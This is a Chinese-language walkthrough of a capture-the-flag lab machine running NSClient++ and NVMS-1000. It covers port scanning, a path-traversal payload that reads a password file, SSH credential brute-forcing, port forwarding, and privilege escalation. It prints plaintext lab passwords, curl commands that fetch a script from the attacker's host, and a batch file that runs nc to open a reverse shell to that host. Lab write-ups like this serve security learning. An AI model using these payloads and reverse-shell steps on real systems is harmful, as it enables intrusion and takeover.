概述 (Overview)
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- hydra
- Port forwarding
- Reverse NC Shell
阶段1:枚举
开局常规用 nmap 扫一遍开放端口,并识别服务:
查看下 8443
端口,运行着一个Web服务 (NSClient++ 是 Nagios 监控系统在 Windows 下的客户端软件)
阶段2:工具及利用
阶段2.1:FTP匿名访问
从脚本扫描的信息可以获知 FTP 开放了匿名访问,先连上看看有什么。
两个文件夹里的内容都下载到本地,进行查看。得到 Nathan
用户它的密码放在了桌面。
暂时没有其他收获了,搜了下ssh的信息发现存在一个用户名枚举的CVE,尝试利用。
但是不知道啥环境影响,就是跑不起来…
阶段2.2:NVNS-1000 文件读取
然后接下来思路就断了,完全找不到突破口了… 尝试了好久,连SSH密码爆破我都用了还是没用…
在卡了我一下的情况下,我只能选择去抄作业了。发现这靶场就少给我起了一个 80 端口的服务… 我就无语了,重启、关闭后开启这个服务就是起不来… SB靶机,凸
这里假设 NVMS-1000 是启动的,那么在 exploit-db 中可以找到一个文件读取的利用
可以读取到Nathan
的桌面文件,payload: /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
阶段2.3:SSH枚举登录
随后根据获取到的内容进行ssh的登录枚举:
[22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk
查看当前账号的权限信息:whoami /priv
,全是 Enabled
当然,除了使用 hydra
以外可以用 crackmapexec
来枚举。
阶段3:权限提升
在翻手册时,发现有个 .ini
的配置文件,通过 SMB 传递到本地分析下。
在文件里获得一窜密钥。
通过网上搜到的文章和官方手册,服务存在 REST API,可以用它查看这个服务的所有可执行脚本(调用时需要验证密码)。
可以看到,存在很多的脚本,在官方文档内也找到了执行脚本的方法。
脚本的存放路径:C:\Program Files\NSClient++\scripts
,接下来的思路就是将反弹shell的脚本载入到服务运行就好了。
首先用的是文件上传接口:
curl http://10.10.16.6/p.ps1 -o p.ps1
curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/p.ps1 --data-binary @p.ps1
OK,查看下已经成功上传到了服务器。
但还是有问题,文件内容为空,why? 看了下curl的详情信息,只有Header没有Body。我特么裂开…
这里换一个方向,转而尝试前台的用户登录。但输入密码后会提示没权限…
又卡了我半天… 第二天开始抄一把答案,发现是因为 NSClient++
启动的配置设置了访问IP为本地 127.0.0.1
,所以需要进行端口转才行。
sshpass:一个免交互 SSH 登录工具
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443
访问本地的端口,输入密码成功登录服务。
在 exploit 中有一个权限提升的栗子:
https://www.exploit-db.com/exploits/46802
经过多次尝试后才成功提权。
首先上传 nc.exe 到服务器后,在编写一个执行反连的批处理脚本也上传到服务器。
evil.bat:
@echo off
C:\Users\Nadine\Downloads\nc.exe 10.10.16.6 9900 -e cmd.exe
进入对应的视图: Settings > External Scripts > Scripts
添加脚本。
在 Settings > Scheduler > Schedules
添加定时执行的设置。
点击重启,等待NC等反连即可。
OK,提权成功。
参考
- https://docs.nsclient.org/api/rest/
- https://blog.51cto.com/467754239/1558861
- https://docs.nsclient.org/web/
- https://www.exploit-db.com/exploits/46802